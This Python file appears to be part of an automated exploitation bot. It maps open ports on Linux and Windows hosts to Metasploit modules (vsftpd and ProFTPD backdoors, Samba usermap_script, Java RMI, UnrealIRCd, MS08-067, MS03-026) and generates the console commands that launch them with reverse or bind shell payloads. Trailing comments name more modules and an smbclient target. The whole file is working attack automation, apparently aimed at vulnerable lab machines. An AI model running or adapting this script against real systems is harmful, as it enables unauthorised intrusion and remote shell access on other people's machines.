from time import *

def searchExploits(os_family, port, bot_id, host_id):
	scanTime = strftime("%H:%M:%S", gmtime()) 
	exploits =[]

	if os_family == "Linux":
		if "21" == port:
			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 21"
			options['exploit_name'] = "vsftpd_234_backdoor"
			options['record'] = str(scanTime)+ " => bot used vsftpd_234_backdoor against host:" + str(host_id)
			exploits.append(options)

			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 21"
			options['exploit_name'] = "proftpd_133c_backdoor"
			options['record'] = str(scanTime)+ " => bot used proftpd_133c_backdoor against host:" + str(host_id)
			exploits.append(options)

		if "23" == port:
			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 23"
			options['exploit_name'] = "telnet_encrypt_keyid"
			options['record'] = str(scanTime)+ " => bot used telnet_encrypt_keyid against host:" + str(host_id)
			exploits.append(options)

		if "80" == port:
			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 80"
			options['exploit_name'] = "telnet_encrypt_keyid"
			options['record'] = str(scanTime)+ " => bot used telnet_encrypt_keyid against host:" + str(host_id)
			exploits.append(options)

		if "139" == port:
			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 139"
			options['exploit_name'] = "usermap_script"
			options['record'] = str(scanTime)+ " => bot used usermap_script against host:" + str(host_id)
			exploits.append(options)

		if "1099" == port:
			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 1099"
			options['exploit_name'] = "java_rmi_server"
			options['record'] = str(scanTime)+ " => bot used java_rmi_server against host:" + str(host_id)
			exploits.append(options)

		if "6667" == port:
			options = {}
			options['message'] = "[*]Bot: "+bot_id+" exploiting Port 6667"
			options['exploit_name'] = "unreal_ircd_3281_backdoor"
			options['record'] = str(scanTime)+ " => bot used unreal_ircd_3281_backdoor against host:" + str(host_id)
			exploits.append(options)

	elif os_family == "Windows":
		if "445" == port:
			options = {}
			options['message'] = "[*]BOT: "+bot_id+" exploiting Port 445"
			options['exploit_name'] = "ms08_067_netapi"
			options['record'] = str(scanTime)+ " => bot used ms08_067_netapi against host:" + str(host_id)
			exploits.append(options)

		if "4444" == port:
			options = {}
			options['message'] = "[*]BOT: "+bot_id+" exploiting Port 4444"
			options['exploit_name'] = "ms03_026_dcom"
			options['record'] = str(scanTime)+ " => bot used ms03_026_dcom against host:" + str(host_id)
			exploits.append(options)

	else:
		print("[-]Host OS unrecognized.")

	return exploits


def returnExploit(exploit_name, rhost, lhost, lport):
	commands = ""

	if exploit_name == "vsftpd_234_backdoor":
		commands = """use exploit/unix/ftp/vsftpd_234_backdoor
				  set RHOST """+rhost+"""
				  set LHOST """+lhost+"""
				  set ExitOnSession false
				  exploit -j -z
				  """

	elif exploit_name == "proftpd_133c_backdoor":
		commands = """use exploit/unix/ftp/proftpd_133c_backdoor
				  set RHOST """+rhost+"""
				  set ExitOnSession false
				  exploit -j -z
				  """
	elif exploit_name == "telnet_encrypt_keyid":
		commands = """use exploit/linux/telnet/telnet_encrypt_keyid
				  set RHOST """+rhost+"""
				  set ExitOnSession false
				  exploit -j -z
				  """

	elif exploit_name == "unreal_ircd_3281_backdoor":
		commands = """use unix/irc/unreal_ircd_3281_backdoor
				  set RHOST """+rhost+"""
				  set LHOST """+lhost+"""
				  set ExitOnSession false
				  exploit -j -z
				  """

	elif exploit_name == "usermap_script":
		commands = """use exploit/multi/samba/usermap_script
				  set RHOST """+rhost+"""
				  set LHOST """+lhost+"""
				  set payload cmd/unix/bind_perl
				  set ExitOnSession false
				  exploit -j -z
				  """
	elif exploit_name == "java_rmi_server":
		commands = """use exploit/multi/misc/java_rmi_server
				  set RHOST """+rhost+"""
				  set LHOST """+lhost+"""
				  set SRVHOST  0.0.0.0 
				  set SRVPORT  8080
				  set LPORT 4445
				  set ExitOnSession false
				  exploit -j -z
				  """
	# WINDOWS EXPLOITS
	elif exploit_name == "ms08_067_netapi":
		commands = """use exploit/windows/smb/ms08_067_netapi
				  set RHOST """+rhost+"""
				  set LHOST """+lhost+"""
				  set PAYLOAD windows/shell_reverse_tcp
				  set ExitOnSession false
				  exploit -j -z
				  """

	elif exploit_name == "ms03_026_dcom":
		commands = """use exploit/windows/dcerpc/ms03_026_dcom
				  set RHOST """+rhost+"""
				  set LHOST """+lhost+"""
				  set PAYLOAD windows/shell_reverse_tcp
				  set ExitOnSession false
				  exploit -j -z
				  """
	else:
		commands = ""

	return commands
 
	#use exploit/unix/misc/distcc_exec 3632
	#use auxiliary/admin/smb/samba_symlink_traversal
		#smbclient //192.168.99.131/tmp

	#exploit/multi/http/php_cgi_arg_injection